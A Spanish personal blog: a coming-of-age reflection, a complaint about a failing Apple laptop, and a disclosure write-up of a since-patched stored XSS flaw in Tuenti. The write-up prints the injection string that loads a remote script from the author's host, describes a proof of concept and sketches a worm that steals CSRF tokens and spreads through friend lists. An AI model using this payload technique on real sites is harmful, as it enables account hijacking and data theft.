Hoy no es otro cumpleaños más, si no uno para reflexionar (pero sin exagerar). La mayoría de edad sólo se cumple una vez en la vida, y supuestamente es un motivo de celebración, puesto que has alcanzado una madurez intelectual y física suficiente como para tener voluntad válida para realizar actos que antes no podías hacer por ti mismo.

No nos vamos a poner a discutir sobre si esa edad es realmente la adecuada o no, pero al menos en este país se ha considerado así. La edad de la cárcel, que llaman los pesimistas. La edad para votar, dicen los prodemócratas. La edad de la responsabilidad, los que ya han pasado por esta etapa.

Sin embargo, si de algo estoy seguro es que he vivido como un adulto (al menos en muchas ocasiones) durante este tiempo pasado. He trabajado como muchos madurados hubieran hecho cuando aún no sabía hacer una ecuación de primer grado. He tenido (y tengo) experiencias (buenas y malas) que otros muchos no han experimentado hasta años más tarde. E incluso me he independizado antes de los 18 (legalmente), aunque no en el sentido más “entero” de la palabra, ya que únicamente vivo sólo, pero no puedo mantenerme económicamente del todo.

Lo cierto es que yo siempre he sido reacio a celebrar cumpleaños, aunque quizá esta sea la excepción que rompe la regla. De algo sí que estoy seguro, y es que mi mejor regalo hasta ahora es poder volver a andar y hacer vida normal, independientemente de las catástrofes personales que haya tenido a lo largo del pasado año.

Como siempre, muchas gracias a todos por vuestras felicitaciones, que han sido muy numerosas, a pesar de que aún no ha pasado ni una hora desde que llegó el momento y escribo esto… :-)

Amo a Mac OS X como sistema operativo y espero que no cambie. Invertí 1150 € en mi primer (y probablemente último) portátil de Apple, como reza esta entrada.

Le di una buena crítica al empezar (al hardware como tal), pero voy a tener que pedir disculpas por mi pronto y erróneo criterio para rectificar.

A los cuatro meses de la compra se rompió parte de la carcasa misteriosamente. Poco después, la unidad CD/DVD. Y finalmente, el disco duro (problemas familiares probablemente para r0uzic, Marquitox… y otros). Escribí una entrada explicándolo.

Me lo repararon; eso sí, se tomaron su tiempo (pero no culpo a Apple de ello). Todo entró en garantía y me lo dieron como nuevo. Pero, un par de meses, el SO empezó a funcionar fatal. Me pareció extraño, aunque apliqué la filosofía Windows: “si formateas, los problemas desaparecerán”.

Así fue, parece que desapareció. Pero temporalmente, ya que al mes siguiente tuve que repetir el proceso. Y ayer lo mismo, con la diferencia de que ya no hubo solución temporal, simplemente murió. Estaba confundido.

Hasta que llegué a esta entrada y me puse a reír por no llorar. Los comentarios son de todo menos alegría. Lo cierto es que no sé si sacan algún beneficio a todo esto, que alguien me lo explique, chorrean dinero constatemente con cada reparación. Sin contar que tuve que devolverlo hasta en dos ocasiones nada más comprarlo debido a defectos de fábrica.

Al menos esto no es extensible a otros productos de Apple… (de momento). Por ejemplo, mi iPod Touch 2G es la mejor compra que he hecho en mucho tiempo y no me ha dado ningún problema.

Así que ya sabes: si tenías pensado comprar un portátil de Apple, piénsalo dos veces. Recuerda que hay alternativas (no perfectas, pero haylas). Que se metan sus portátiles por donde les quepa.

Nota: Perdón por el título, estoy cabreado :-(

Esto es una explicación sobre la anterior entrada.

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

1. El usuario escribe y envía.
2. El servidor recibe y guarda, haciendo ciertos cambios [1].
3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
2. Era necesario colocar un </script> previamente antes de iniciar otro.
3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.